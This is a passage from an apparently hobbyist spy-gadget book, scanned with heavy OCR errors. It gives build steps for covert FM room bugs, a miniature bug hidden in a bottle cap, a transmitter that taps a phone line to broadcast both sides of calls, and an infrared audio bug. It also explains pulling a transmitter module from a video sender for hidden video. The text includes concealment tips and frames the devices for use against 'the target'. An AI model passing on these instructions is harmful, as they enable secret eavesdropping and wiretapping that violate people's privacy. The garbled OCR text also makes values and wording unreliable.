inches  of  copper  wire  and  a boll.  I promise  you  that 
if  you  can  make  an  LED  blink,  then  you  can  build 
all  of  Uiesc  basic  FM  transmitters,  and  most  of  the 
ones  you  find  sprinkled  arrwngsi  the  millions  of 
public  domain  schematic  on  the  Internet. 


Project  54 — Simple  FM  Room  Bug 


tissue  dispenser  still  functions  nonnally,  ami  the 
radio  win  go  completely  undetected.  The  radio  ran 
for  several  hours  from  its  hui|i*in  battery  source, 
but  could  have  been  extended  to  a full  day  using  a 
small  recliargeable  security  battery  and  the 
appropriate  voltage  regulator.  If  you  hide  the 
device  in.side  another  appliance,  then  you  could 
even  rob  power  from  its  circuit  board  os  well 

You  will  probably  wont  to  avoid  long-term 
operation  of  this  device,  especially  in  a densely 
populated  area  where  many  FRS  radios  may  be  in 
use.  Unlike  baby  monitors,  which  are  designed  to 


be  left  on  tu  all  timcii.  this  radio  band  is  not.  so 
continuous  use  may  have  eavesdroppers  searching 
(or  the  2rixirce,  or  it  may  annoy  non-Evil  Geniuses 
thai  just  w'am  to  talk  to  their  friends  on  whatever 
channel  you  have  so  rudely  taken  over.  Use  this 
device  sparingly! 

If  you  really  want  to  dig  deep  imo  the  world  of 
audio  eavesdroi^ing,  then  the  following  projccu 
are  going  to  ikkle  yuurevil  funny  bone,  as  we  will 
be  building  stealthy  miniature  FM  bugs  from 
scratch  using  readily  available  inexpensive 
components. 


Figure  9-7  rutiio  showing  micrvpfume  und 

trunsmii  huiion  f.xiension  wins. 


Figure  9-B  A good  oo%vn  hark  wi//  go  wtdefecied, 
even  if  ctosety  inspected. 
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Project  54— Simple  FM  Room  Bug 


I^lgure  9*9  A simple  low  post-er  one  iransistor  FM  iransminer. 


Most  of  the  ininsminers  used  lo  moke  wireless 
microphones  (AKA  bugs),  have  only  a single  coil 
that  consists  of  nothing  more  than  a few  lurns  of 
copper  wire  wrapped  around  a ferrite  core,  or  a 
small  screw.  The  copper  wire  can  be  taken  from  an 
old  transformer  or  the  wlndiDgs  on  a toy  motor,  and 
it  may  ama7e  you  at  how  tolerant  the  number  of 
windings  and  si2e  of  the  coil  in  your  circuit  vnlJ 
xtually  be.  For  example,  if  a clicuh  you  find  calls 
for  ''exactly  7.5  turns  on  a j|-inch  fonn  using 
AWG  #20  wire.*'  Then  what  this  really  means  is 
find  an  old -boll,  wrap  anywhere  from  seven  to 
10  turns  around  it  using  whatever  size  copper  wire 
you  have  in  your  junk  box.  then  adjast  it  later  using 
a feniie  screw  or  a small  bolt.  Yes.  it  really  U that 
easy!  1 have  mode  many  small  transmitters  this  way. 
and  they  always  woik  as  expected  without  having  to 
wail  weeks  some  ocklbaJl  coil  to  arrive  from  the 
orient  Small  adjustable  capacitors  can  usually  be 


salvaged  fmm  old  radio  equipment  circuit  board'i. 
and  rmuiy  of  the  times,  a close  fixed  value  capacitor 
udll  replace  a variable  <me  if  you  do  not  care  to  fine- 
lune  your  transmit  frequency. 

For  example,  a 10  pF  capacitor  in  an  FM 
inuismitter  calling  for  a 5-20  pF  variable  capacitor 
will  most  likely  center  the  transmission  to 
100  MHz  w so.  and  any  other  fine  tuning  can 
be  done  simply  by  bending  the  copper  wire  loops 
on  one  of  the  coils,  ot  by  cranking  in  a ferntc 
adjusting  screw.  There  is  no  dark  an  to  making  a 
small  FM  transmlRcr.  e^>ecially  the  ones  I chose 
for  the  foUowing  projects. 

Before  we  start  building,  take  a look 
at  the  scbemauc  in  Figure  9-9  for  the  .simple 
FM  room  bug.  This  schematic  has  been  used 
for  many  yean;  and  goes  by  the  names  wireless 
mierr^fume.  PM  bug,  cigar  box  transmitter,  one 
transistrn'  transmitter,  power  iransmitier,  etc. 


U6 


^This  transmitier  uses  an^ecmt  microphoMlo 
modulate  the  RF  oscillator,  which  can  be  tuned 
ttross  the  entire  FM  radio  band  (S8-108  MHz>  by 
adjusting  a screw  or  ferrite  bead  in  the  single  coil. 
Sensitivity  isn't  too  bad,  and  range  is  a few 
hundred  feet  depending  on  bow  long  you  decide  to 
make  the  antenna.  The  output  powti  of  this 
transmitter  is  similar  to  the  output  power  of  the 
iransminer  built  into  an  MP3  player  that  can  play 
your  music  to  an  unused  space  on  the  FM  band,  or 
to  that  of  0 child's  walkie-talkie  toy.  so  there  is 
little  risk  ihm  the  'Tadic  police"  will  come  looking 
for  you  if  you  operate  this  device. 

I will  Stan  by  showing  you  bow  to  wind  the  coil 
for  this  project,  and  just  about  any  other  RF  circuit 
you  may  want  to  tackle  is  the  future.  The  circuit 
calls  for  an  adjustable  coil  with  four  turns,  but  I 
like  to  add  a few  extra  turns  when  making  an 
adjustable  coil  just  to  play  it  safe.  If  you  have  too 
few  turns,  then  your  oscillator  may  run  at  a 
frequency  higher  than  desired,  but  if  you  add  loo 
many  turns,  you  can  always  screw  the  ferrite  bead 
in  further  to  lower  the  frequency.  In  other  words,  a 
few  turns  too  many  is  better  than  a few  turns  too 
little  when  making  an  adjustable  coil.  As  shown  in 
Figure  9-10. 1 wound  six  turns  of  whatever  copper 
wire  1 hud  available  around  aj-bolt.  The^-bolt  is 
perfect  for  coil  winding  us  it  has  the  same  threads 
as  the  ferrite  bead  used  to  tune  the  coil  (also  shown 
in  the  photo). 

The  small  black  femite  bead  commonly  used  to 
adjust  a coil  works  by  effectively  reducing  the 
number  of  turns  in  the  coil  as  you  screw  it  further 
in  place.  If  your  circuit  wants  a fixed  coil  of  four 
turns,  and  you  thread  the  bead  halfway  into  a coil 
of  six  turns,  you  will  probably  end  up  with  the 
same  result,  which  is  why  this  method  is  very  easy 
to  experiment  with.  Ferrite  beads  can  be 
substituted  by  small  metal  screws  if  you  are  In  a 
pinch,  but  ferrite  beads  are  so  much  easier  to 
adjust,  and  can  be  salvaged  from  just  about  any  RF 
circuit  board  (unscrew  them  riom  metal  can 
transformers  and  chokes).  When  you  are  done 
winding  the  copper  wire  around  the  bolt  simply 


Figure  9-10  W/uIing  a coU  around  Ujbolt. 
CiMpItted  coil  also  shown. 


unscrew  the  bolt  cut  (he  copper  to  the  correct  lead 
length,  then  scrape  the  lips  of  the  leads  with  a rig 
razor  knife  to  remove  the  red  or  green  enamel.  The  S! 
enamel  must  be  removed  In  order  to  bare  the 
conductive  c^iper  wire  for  soldering.  Coils  can  be  <0 
made  venically.  but  the  horizontal  method,  ait  0 

shown  in  my  completed  coil  (see  Figure  9-10),  is  ^ 
much  more  convenient  when  ii  comes  to  adjusting  ^ 
the  small  ferrite  bead  with  a plastic  screwdriver  as  ^ 
it  will  be  positioned  on  the  top  of  your  circuit  ^ 

board.  For  coil  tuning,  a plastic  screwdriver  is  ^ 
much  bencr  than  a metal  one  as  the  metal  blade 
will  act  as  part  of  the  ferrite  bead  when  placed 
close  10  the  coil,  so  when  you  think  you  have  the 
coil  luned  perfectly,  removing  the  screwdriver  will 
shift  the  frequency  slightly,  which  is  highly 
annoying,  to  say  the  least. 

Beside.s  the  coil,  which  is  not  at  all  dlRicult  to 
build,  you  just  have  lo  source  the  transistor,  and  a 
few  small  value  capacitors,  and  if  you  have  any 
defunct  radios  or  RF  aj^liances  to  salvage  parts 
riom,  you  will  probably  have  all  you  need.  The 
transisUtf  is  really  not  all  that  critical,  and  any 
NPN  transistor  with  a frequency  as  high  as 
1(X)  MHz  will  probably  work.  I used  a 2N3563 
transistor  taken  firom  a transistor  radio,  which  is 
well  suited  for  this  application,  but  found  that 
almost  all  NPN  transistors  1 tried  gave  at  least 
some  RF  output.  Noimally.  placement  of 
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DURACELir 


Figure  9*11  The  complefed  FM  tnuamitterwirh  i.5' 
voll  power  source. 


components  in  RF  circuitry  can  be  a bit  hairy,  but 
since  this  is  a low  power  device  with  a maximum 
frequency  of  about  120  MHz,  I found  itio  be  a 
non-issue,  and  even  managed  to  build  the  circuit 
successfully  on  my  prototyping  board,  which  is 
normally  a big  no-no  for  RF  circuits.  If  you  build 
the  circuit  on  a prototyping  board  then  move  it  to  a 


^maii  wrbl  perTOuara  iiKfi  rtntn  you  win  pfbnauj 
have  to  ame  the  coil  again,  but  that  is  all.  My  final 
project  is  shown  in  Figure  9-1 1 afler  iran.sfening  it 
to  die  perf  board  then  hand  wiring  the  components. 

With  a lO-incb  long  antenna  wire.  I was  able  to 
pick  up  the  transmission  inside  the  house  on  my 
FM  radio  in  the  garage.  The  output  was  clean  and 
loud  as  long  as  the  audio  was  fed  into  the 
micnaphone  at  a distance  of  no  more  than  a foot  or 
so.  This  traasmitter  would  make  a good  bug  in  an 
area  where  the  sound  was  fairly  loud  or  when 
placed  close  to  the  source,  but  it  did  lack  in 
sensitivity  for  foim  sounds.  If  you  want  to  feed  the 
unit  directly  using  an  audio  source,  then  remove 
the  10  kf?  resistor  and  the  elec  tret  microphone  and 
simply  connect  the  audio  source  such  as  an  MP3 
player  or  computer  directly  to  (he  points  where  the 
microphone  was  ooce  attached.  If  you  want  to 
continue  experimenting  with  RF  bugs,  then  keep 
reading,  as  I will  diow  you  how  to  pump  up  this 
iransmiiter  to  pick  up  a whisper  from  20  feet  away. 


Project  55 — Ultrasensitive  Room  Bug 


Now  (hat  you  can  build  an  RF  circuit  with  your 
eyes  closed  using  pans  from  a brt^n  transistor 
radio,  you  may  want  to  dig  into  the  world  of 
ultrasensitive  stealth  transmitters.  This  project  is 
truly  a bug  in  the  fact  that  it  can  hear  every 
whisper  in  a room,  and  transmit  the  signal  far 
enough  to  pick  up  outside  the  house,  or  even  a few 
blocks  away  with  the  right  combination  of 
antenna^.  This  greatly  improved  version  of  the 
transmitter  presented  in  the  last  project  only  needs 
an  extra  transistor,  a single  capacitor,  and  three 
resistors,  and  can  be  buUi  right  into  the  existing 
transminer  if  you  left  a little  room  on  the  circuit 
board.  Both  the  range  and  sensitivity  will  be 
increased  because  the  audio  output  from  the 
electret  microphone  {which  contains  a built-in 
preampUtier)  is  first  fed  into  aoc^ber  transistor 


amplifier  before  feeding  the  RF  suge— this  creates 
a greatly  amplified  signal  and  improved  RF 
modulation  for  greater  transmission  range.  The 
output  power  is  still  low  enough  for  this  device  to 
be  considered  low  power,  but  in  this  game  we 
would  rather  have  longer  battery  life  than  range,  as 
you  only  need  a few  hundred  feet  of  distance 
between  you  and  the  bug  in  most  cases.  Even 
professiunoJ  eavesdrof^ing  equipment  containing 
high  tech  features  such  as  frequency  hopping, 
digital  encryption  and  burM  mode  traosmission, 
only  use  low  power  in  order  to  conserve  battery 
power  and  extend  run  time.  A real  spy  knows  the 
value  of  sensitive  receiving  equipment  and  a high- 
gain  antenna  for  best  results.  Look  at  the  schematic 
in  Figure  9-12,  and  you  may  recognize  it  as  being 
the  sarrte  .schematic  from  the  last  project  with  only 


118 


Figure  9-tS  Tht  uUnutnsiHvt  rwm  iw/c  schtmatic. 


a feu'  add^d  components.  Since  Ihe  RF  Ktagc 
already  does  what  we  want,  all  (hat  has  been  added 
is  a basic  sinsle  transistor  amplifier  to  greatly 
increase  the  audio  signal  before  i(  hits  the  RF 
oscillator.  This  transistor  can  be  any  NPN  type,  as 
it  does  not  have  to  handie  RF  frequencies,  only 
audio  frequencies. 

If  you  have  already  mode  the  transmitter  ^m 
Project  54,  then  all  you  need  to  do  is  remove  the 
electret  microphone  and  the  1 0 kQ  resistor  in 
series  with  it,  and  then  connect  (he  output  of  this 
preamplifier  (the  iraosistor's  collector)  to  the 
lOOohm  resistor  used  to  connect  to  the  electret 
microphone.  The  audio  signal  fmm  the  electret 
microphone  will  now  be  so  greatly  amplified  that  a 
coDversatioD  picked  up  across  a room  will  seem 
louder  than  it  did  by  shouting  into  the  micropbooe 
in  the  old  circuit.  In  fact,  the  unit  is  so  sensitive  to 
any  audio  source  that  I wa.s  unable  to  come  within 
two  rooms  of  the  transmitter  with  the  receiving 


radio  without  getting  instant  feedback,  which  is 
why  headphones  may  be  the  best  way  to  test  the 
unit,  Unfortunately.  I did  not  plan  ahead,  and  there 
was  no  room  on  my  circuit  board  for  the  modified 
version,  so  I had  to  build  another  unit;  but  practice 
is  what  makes  us  proficient,  right?  Figure  9-U 
shows  my  ultrasensitive  room  bug  ready  for  action, 
and  even  with  (he  extra  circuitry,  is  no  laiger  than 
the  AAA  battery  used  to  power  it.  You  will  notice 
(hat  (his  time  i leR  a little  room  for  modifications 
on  the  perf  board  used  to  build  the  circuit. 

I only  added  a 4*inch  long  antenna,  as  this 
would  make  the  unit  smaller,  and  it  still  managed 
to  get  a range  of  at  least  the  distance  of  the  entire 
yard  whea  placed  inside  the  bouse.  I built  the  unit 
into  several  different  cases  including  a marker,  a 
matchbox,  and  a fake  tele^^one  wall  jack,  and 
each  time  the  unit  performed  admirably  for  many 
hours  oif  the  single  U>volt  AAA  battery.  If  you 
really  want  to  push  the  range  to  the  maximum,  you 
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Project  56— Micro  Stealth  Transmitter 


i 

Figure  9-13  The  uUmensiii\e  mom  bufi  ready  for 
operatiou. 


can  crank  up  iSt  voJiageio  9^volts  tl  haven’t  tesie 
il  higher  yet),  and  add  a longer  antenna,  but  in 
reality,  this  is  ^obably  not  necessary  as  the  unit  is 
designed  for  close  distance  stealth  operations. 
Considering  that  this  unit  can  be  built  for  a few 
pennies  using  scrap  fr<Hn  Just  about  any  old  circuit 
board,  it  really  was  a satisfying  bit  of  work,  and 
has  hod  many  hours  of  useful  lime  in  the  field.  The 
sensitivity  and  transmit  range  is  just  as  good  or 
bener  than  many  expensive  units  sold  by  spy 
stores,  and  the  only  thing  they  have  on  this 
workhorse  is  size,  but  as  usual,  I will  be  swatting 
that  bug  in  the  next  project. 


Project  56 — Micro 

For  a hundred  dollars,  you  can  buy  yourself  a very 
liny  room  sensitive  FM  bug  that  will  run  for  hours 
on  a button  cell,  and  easily  fit  into  a pop  boule 
lid — impressive!  Of  course,  for  about  $2,  and  a 
few  hours  of  your  time,  you  can  do  the  same  thing 
in  your  Evil  Genius  laboratory  and  achieve  results 
as  good  or  better  than  the  professional  uni\s  and 
gain  the  respect  of  your  techno  spy  buddies.  I 
liked  the  performance  of  the  previous  ultrasensitive 
room  bug  so  much  that  I decided  to  see  just  how 
small  I could  make  the  unit,  and  the  final  result 
was  a truly  impressive  ^>inch  by^*inchbyi«inch 
device  including  the  3>volt  battery!  The  unit  coukt 
now  fit  into  a pop  bottle  lid  and  had  even  better 
range  due  to  the  3-volt  versus  1 .5-voll  power 
source  of  the  original.  The  circuit  is  exactly  the 
same,  requires  no  surface  mount  components,  and 
all  that  is  required  to  build  this  version  is  a bit  of 
patience,  and  a nice  sharp  tip  on  your  soldering 
iron. 

I started  by  finding  a suitable  battery  to 
power  the  unit  that  would  give  me  3 volts,  and 
have  enough  power  capacity  to  run  the  transmitter 


Stealth  Transmitter 

for  at  least  four  or  more  hours.  I came  up  with  a 
very  common  3-voli  lithium  battery  with  a model 
number  of  CR2450,  which  is  used  as  a power  cell 
(or  CMOS  memory  and  very  small  low-power 
electronic  devices,  The  batlery  was  about  the  same 
diameter  of  the  smallest  circuit  board  1 could 
possibly  make,  so  the  union  was  perfect.  I cut  out 
a bit  of  perf  board  to  approximate  the  size  of  the 
battery,  then  played  around  with  the  best 
placement  of  all  the  components  until  I found  an 
arrangement  that  would  require  only  a single 
jumper  wire.  aiKl  allow  me  to  simply  bend  the 
leads  of  all  the  components  lo  form  the  actual 
traces  on  the  underside  of  the  circuit  board. 

Figure  9-14  shows  all  of  the  parts  needed 
including  the  CR2450  batlery  and  tiny  circuit 
board. 

Although  Lheie  were  no  surface  mount  devices, 
the  close  pfoximity  of  all  the  components  required 
a steady  hand  and  a sharp  soldering  iron  tip.  When 
1 was  finished  mounting  ail  the  electronics,  only  a 
single  hole  remained  on  the  perf.  board,  and  some 
of  the  leads  shared  a single  hole  for  convenience. 
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Figure  S’IS  A very  sniall  cimirr  board  usin^ 
component  leads  as  traces. 


Figure  9*1U  Getting  ready  to  miniaiurize  the  ultra 
sensitive  room  hug. 


Luckily,  only  a single  jumper  wire  was  needed, 
and  only  one  component — (he  power  supply 
decoupling  capacitor — had  lo  be  mounted  on  the 
underside  of  (he  circuit  board.  When  woricing  wiih 
RF  circuitry,  you  want  to  a^‘oid  using  jumper  wires 
as  much  as  you  can,  as  they  oci  as  capacitors, 
which  may  shift  your  oscillator  frequency  or  cause 
erratic  resulLi. 

The  miniaturizing  operation  took  about  two 
hours,  and  when  complete  yielded  a very  small 
working  device  as  shown  in  Figure  9*15, 1 hod  to 
retune  the  coil  as  usual  due  to  the  voltage  change 
and  component  relocations,  but  that  required  only 
a .small  turn  with  a plastic  screwdriver  to  end  up 
transmitting  on  the  unused  FM  band  in  my 
location  at  100  MHz. 

The  battery  is  connected  to  the  device  by 
soldering  the  wire.s  directly  to  the  battery  casiog. 
being  careful  not  to  heat  (he  battery  too  much.  You 
could  also  salvage  (he  battery  holder  from  a dead 
computer  main  board,  or  create  your  own  using  a 
bit  of  stiff  wire,  which  is  coovenieni  if  you  {^an  on 
using  the  device  a lot,  or  if  you  want  to  turn  it  on 
and  off.  [ only  solder  in  a new  battery  when  I need 
to  use  the  transmiuer.  so  this  method  worited  well 
and  allowed  for  conserving  the  maximum  amount 
of  space  for  some  very  creative  mounting  and 
concealing  ideas.  My  favorite  method  of 


Figure  9*16  A very  smalt  bug  complete  with  btuieiy 
ready  for  ocritw. 


deployment  is  to  install  the  unit  in  a plastic  pop 
bottle  cap  wiUi  some  double*sided  tape  to  cover 
the  opening,  then  simply  stick  the  unit  is  place 
under  a chair  or  table.  When  the  battery  dies,  you 
can  retrieve  or  replace  the  unit  with  another  one 
without  attracting  any  aiiendon.  For  distances  of 
up  to  100  feet,  a 3>inch  bit  of  wire  wrapped  around 
the  outside  of  the  pop  bottle  cap  worked  fine  as  an 
antenna.  The  ccmipleted  unit  including  the  battery 
IS  shown  in  Bgure  9-L6  with  a quarter  for  size 
comparistm. 

With  a transmitter  of  this  size  and  sensitivity, 
you  really  can  mount  it  just  about  anywhere 
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Micro  Stealth  Transmitter 


Project  57— Telephone  Line  Transmitter 


without  the  chance  of  having  it  detected.  AJso. 
because  it  can  be  built  for  a few  dollars  using 
commonly  available  pans,  (here  is  no  great  loss  if 
you  never  get  a chance  to  retrieve  the  unit,  or  ii  is 
found  and  destroyed.  I have  buWt  several  of  these 
great  transminers,  and  one  day  when  ] have  a bit 


of  fro  lime  may  make  it  four  times  smaller 
by  using  surface  mount  components  and  a 
watch  battery  or  rechargeable  mini  Ni>MH  cell. 
In  this  game,  you  have  to  stay  on  the  cutting 
edge — smaller  is  better. 


Prolect  57 — ^Telephone  Line  Transmitter 


Here  is  a classic  device  that  is  not  only  easy  to 
build,  it  also  perforras  flawle.ssly  for  an  indefinite 
amount  of  time  without  ever  needing  a 
replacement  battery.  This  iransminer  leeches 
power  a telephone  line,  then  transouts  both 
sides  of  a conversation  to  a netvby  FM  radio  using 
a irunsmitter  working  on  the  .same  principles  as  the 
ones  shown  earlier.  Because  this  unit  gets  iis  audio 
directly  from  the  phone  line,  no  preamplifier  stage 
is  needed,  so  the  component  count  is  extremely 
small.  Only  13  commonly  available 


semiconductors  are  needed.  Another  nice  thing 
aboul  this  device  is  that  it  only  needs  to  connect  to 
the  phone  line,  not  the  phone  itself,  so  it  can  be 
placed  anywhere  that  you  can  gain  access  to  a 
phone  line  or  extension  plug  for  easy  conceahnem. 

The  schematic  for  (he  telephone  line  iransminer 
is  shown  in  Figure  9- 1 7.  and  you  may  notice  that  it 
is  similar  to  the  other  iransmitiers  in  this  section, 
using  a single  transi.stor.  a coil,  and  a few  resistors 
and  capacitors.  The  difference  here  is  that  the  four 
diodes  connected  to  the  phone  line  are  directly 


Figure  947  Schemaiic  for  the  pthone  line  penvered  rrotumiuer. 
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placing  the  need  for  any  exteniaJ  DC  power 


supply,  so  once  the  unit  is  installed,  it  just  keeps 
ofi  working  forever. 


In  a typical  phone  line,  the  audio  signal  from 
both  sides  of  the  conversation  and  the  power  used 
for  the  electronics  in  the  equipment  are  fed  into  the 
two  wires,  so  the  RF  oscillator  in  the  nans  mi  tier 
circuit  is  modulated  directly  by  the  audio  signal 
m the  phone  line.  The  coil  is  runed  so  that  the 
transmission  falls  on  an  unused  portion  of  the 
FM  band  between  88  and  108  MHz  just  like  the 
previous  transmitters.  Range  should  extend  lo  the 
entire  house  and  possibly  kOO  feet  or  so  depending 
on  the  length  of  the  antenna  wire  used.  Again,  this 
device  only  needs  to  connect  to  the  two  wires  in  a 
the  phone  line,  not  the  phone  itself,  so  it  can  be 
placed  anywhere  on  the  line  Irotn  the  terminal 
block  to  the  funhest  point  on  any  extension  and  it 
will  transmit  the  conversations  from  both  sides  of 
any  and  all  phones  in  use  on  that  line  at  the  same 
time.  You  can  place  the  unit  inside  a phone  by 
connecting  it  to  the  wires  just  before  they  reach 
the  telephone’s  circuit  board,  or  you  could  place 
it  right  into  on  extension  box  like  I did  in 
Figure  9-18.  This  extension  box  con  be  connected 
lo  the  phone  line  as  if  it  were  a normal  extension 
box,  or  by  hooking  a male  patch  cord  from  its 
outlet  into  a live  extension  box.  As  long  as  those 
two  live  phone  wires  connect  to  your  circuit,  it 
will  be  transmitting. 


In  a phone  line  and  an  extension  box,  there  wiU 
be  two  pairs  of  wires,  a block  and  yellow  pair,  and  a 
red  and  green  pair.  You  only  need  the  red  and  green 
pair,  as  the  other  wires  are  not  used.  Keep  this  coira* 


FIguro  9*18  The  lelephoru  tronsminer  can  be  built 
into  an  extension  box. 


coding  in  miod  when  connecting  this  device,  as  this 
is  the  mly  way  it  will  function,  and  if  the  red  and 
green  wires  are  reversed,  the  LED  will  not  be  lit, 
and  there  will  be  no  power  to  the  trunsmiuer.  Also, 
this  device  should  not  take  the  phone  off  the  hook, 
and  if  it  does,  then  increase  the  impedance  of 
resistor  R1  until  the  extension  ^ne  gets  a dial  tone 
back.  The  unit  may  take  the  phone  off  the  hook  if 
there  are  too  many  phone  devices  on  that  line, 
which  creates  a high  loading  on  the  Line,  so  by 
increasing  R1  to  a higher  value,  you  reduce  the 
amount  of  power  the  transmitter  steals  from  the  line. 
There  will  ofcomt  be  a trade*off  for  transmission 
range  if  you  increase  the  value  of  Rl  too  much. 

If  fw  some  reasM)  you  cannot  install  an  RF 
device  in  the  target  location,  then  there  may  be 
another  solution  using  light  as  a transmission 
source,  as  we  will  see  in  the  next  project. 


^ 


Project  58 — Invisible  Light  Transmitter 


There  are  times  when  an  RF  transminer  may  not 
be  a viable  solution  to  your  audio  extraction 
operation.  Maybe  the  target  is  a paranoid  spy  like 


you  with  a radio  scanner  or  bug  snifTer;  maybe 
there  are  too  many  radio  stations  in  the  area  to  find 
a good  spot  on  the  dial  for  your  bug  to  transmit; 
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reject  58“Invisible  Light  Transmitter 


2K3904 


Figure  9*19  A sensMvt  rvMhsmge  prvamptijier  directly  mot/ulates  an  infrared  LED. 


C maybe  you  jusi  want  to  tfy  something  unique  and 
(d  hard  to  delect.  Well,  let's  transoui  every  whisper  io 
M a room  out  to  a receiver  through  an  open  window 
^ using  a beam  of  invisible  light  instead  of  an  RF 
signal.  It's  quite  dilTicult  to  detect  the  presence  of 
^ on  infrared  bug  without  some  specialized 
^ equipment  and  since  these  devices  are  quite  rare, 

^ they  are  o^en  overlooked.  Under  the  right 
^ conditions,  you  can  get  some  pretty  decent  range 
with  one  of  these  devices,  sometimes  reaching 
q)  several  hundred  feet  away. 

^ Have  a look  at  the  schematic  ^sented  in 

Figure  9-19.  and  you  will  see  (hat  it  is  a two-stage 
^ audio  amplifier  that  drives  an  infraied  LED  rather 
^ than  a speaker.  The  signal  from  an  electret 
^ microphone  (which  contains  a sensitive  internal 
Q audio  amplifier)  is  amplified  by  the  first  transistor. 
H which  is  then  fed  into  the  second  transistor  for 
I further  ampUficaiion  and  to  directly  modulate  the 
^ infrared  LED  with  the  audio  signal.  This  unit 
^ works  on  a similar  principal  to  a typical  infrared 
remote  control,  except  that  the  LED  is  modulated 
^ with  sound  from  (he  room  rather  than  a series  of 
^ encoded  pulses.  The  resulting  signal  is  amplified 
so  much,  that  a whisper  from  the  next  room  causes 
Q enough  modulation  to  drive  the  LED, 

M The  completed  unit  is  about  (he  same  size  as  a 
^ marker  lid.  and  can  be  powered  for  many  hours 


from  a single  9- volt  battery.  Because  this  unit 
requires  a direct  or  reflected  line  of  sight  to  the 
receiver,  the  LED  .should  be  aimed  through  a 
window  to  the  general  direction  of  the  receiver,  or 
reHecied  off  a light-colored  wall  or  object  that  can 
be  seen  from  the  location  of  the  receiver.  White 
surfaces  are  very  good  at  reflecting  infrared,  and 
you  can  test  this  by  aiming  your  remote  comrol  ai 
the  wall  behind  you  rather  than  directly  ui  the 
television.  For  a Itmger  range,  you  will  want  to 
choose  an  infrared  LED  with  a very  narrow  beam, 
and  as  much  output  power  (brightness)  as  possible, 
and  this  can  be  further  increased  by  the  placement 
of  a focusing  lens  in  front  of  the  beam.  The 
completed  unit  is  shown  in  Figure  9-20.  running 
from  its  9* volt  battery  source,  if  you  do  not  yet 
have  the  leceiver  unit,  you  can  verify  the  output  of 
this  unit  by  blowing  into  the  microphone  while 
you  view  the  infrared  light  through  the  viewfinder 
of  a camewder  or  by  viewing  a security  camera's 
live  video  feed,  since  cameras  can  see  infrared 
light. 

The  modulated  infrared  beam  of  light  is  received 
by  a [^KXotraasistor  based  demoduladoa  circuit 
aimed  in  the  general  direction  of  the  transmiuer, 
either  directly  through  a window,  or  through  a pair 
of  binoculars  or  telescope  aimed  oi  the  target  area. 
Hus  light  receiver  is  nothing  more  than  a 


FlQure  9‘50  Tht  imvjiMe  H^ht  mnsmifter  Hsxening 
to  every  whisper  in  a roon. 


pbcHotransistor  driving  an  audio  amplifier 
connected  to  a pair  of  headphones,  and  a perfect 
receiver  is  shown  ahead  in  Secdon  14.  Project 
8S — Laser  Microphone  Experiment,  as  it  works 
perfecdy  with  this  transminer  and  has  very  good 
sensitivity.  You  could  also  remove  the  electret 
microphone  hom  the  schematic  shown  in 
Figure  ^19.  and  insert  the  phoiotransisior  in  its 


place,  then  simply  install  a pair  of  headphones  in 
place  of  the  inftaied  LED.  This  would  be  (he  basis 
for  a nice  infrared  receiver.  Other  options  f<M*  the 
creation  of  a simple  infrared  receiver  would 
include  installing  a phoiotransisior  into  the  input  of 
an  audio  amplifier,  or  simply  connecting  a 9-volt 
battery  in  series  with  a phoiocransisior.  a 1 kH 
resistor  and  a pair  of  headphones. 

If  you  are  more  than  100  feel  from  (he  target 
area,  or  atiempiing  to  eavesdrop  during  daylight 
conditions,  you  may  get  much  better  results  if  you 
place  your  phoiotransisior  up  to  the  eyepiece  on  a 
pair  of  binoculars  or  telescope  airaed  directly  at 
the  transmitter,  or  its  reflected  Also,  most 
photoCransistors  are  sensitive  to  (he  entire  visible 
light  spectrum,  so  nighttime  operations  will  yield 
the  greatest  distance,  but  evil  geniuses  always 
seem  to  be  up  at  night  so  this  is  ixH  a pn^lem. 

Now  that  you’ve  mastered  (he  art  of  audio 
transmitters  and  highly  sensitive  audio  bugs,  read 
on  to  learn  more  about  video  transminers  and 
covert  video  bugs. 
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Project  58— Invisible  Light  Transmitter 


Video  Transmitters 


Project  59— Hacking  a Video  Sender 


The  ability  to  transmit  a video  signal  lo  a remote 
location  is  very  iraponant  in  coven  t^raiions, 
especially  when  either  yo«r  window  of  oppormnhy 
for  installation  is  narrow,  or  in  places  where 
wiring  would  be  hard  or  impossible  lo  insuU. 

Many  so-cailcd  "high-tech  spy  stores”  offer  audio 
video  transmitters  that  claim  to  have  amazing 
ranges  and  rock  solid  stability  at  a price  tag  that 
only  a government  agency  could  afford.  I had  the 
opportunity  to  dismantle  several  of  these  expensive 
transmitters,  and  all  but  one  of  them  contained 
nothing  more  than  an  inexpensive  OEM  transmitter 
mcxJule.  Yes,  even  the  one  used  by  law 
enforcement  that  cost  several  hundred  dollars  or 
more!  These  OEM  iran-smiiier  modules  are  small 
silver  boxes  manufactured  for  direct  installation 
into  manufacturers’  equipment  such  as  video 
senders,  cordless  phones,  radio  equipment  and 
computer  networking.  Many  of  these  units  simply 
require  a power  supply,  and  they  can  be  directly 
fed  with  a standard  audio  and  video  signal  for 
reception  by  using  an  inexpensive  receiver  tuned  lo 
the  appropriate  frequency.  In  one  case,  after 
dismantling  one  of  these  "ultimate  law 
enforcement  video  transmitters,”  1 was  able  to  read 
the  manufacturer's  number  from  the  transmitter 
module  using  a microscope,  even  though  the 
genius  that  was  selling  the  device  tried  to  scratch 
it  off  using  sandpaper,  and  I then  traced  it  to  the 
manufacturer  to  get  a fuH  datasheet-  From  there  I 
was  able  to  determine  that  the  same  (ransmiuer 
module  installed  in  this  $500  unit  was  available  ai 
the  local  big  box  store  in  the  form  of  a $30  video 


sender,  and  it  even  came  with  the  receiver!  Let's 
dig  right  in  and  see  how  easy  it  is  to  extract  the 
module  fr«n  a video  sender  for  use  in  your  own 
spy  gadget  projects. 

First,  you  will  need  to  buy  a video  sender  kit 
which  will  consist  of  two  black  boxes— ^ receiver 
and  a transmitter  designed  to  send  the  video  signal 
from  your  video  player  to  a rcmuie  television  set 
up  to  several  hundred  feet  away.  What’s  nice  about 
these  units  is  that  they  work  very  well  up  to  a few 
hundred  feet  with  rock  solid  transmission;  the 
disadvantage  Is  that  they  are  big  bulky  boxes  that 
can  be  hard  to  conceal.  A typical  video  sender  pair 
is  shown  in  Figure  lO-l;  one  unit  is  the  transmitter, 
and  one  unit  is  the  receiver. 

Next,  you  will  open  (he  transmitter  unit  and 
remove  the  circuit  board,  Do  not  mess  with  the 
receiver,  as  it  already  does  what  you  want,  and  size 
is  noi  really  a concern.  The  first  thing  you  will 
notice  is  that  there  will  be  a silver  box  with  several 
pins  soldered  directly  to  the  circuit  board.  This  is 
the  actual  iransmicter  unit  and  it  does  not  need  any 
of  the  other  circuitry  to  function.  The  other 
circuitry  may  include  a modulator  to  mix  the  two 
audio  signals,  a power  regulator,  and  some  other 
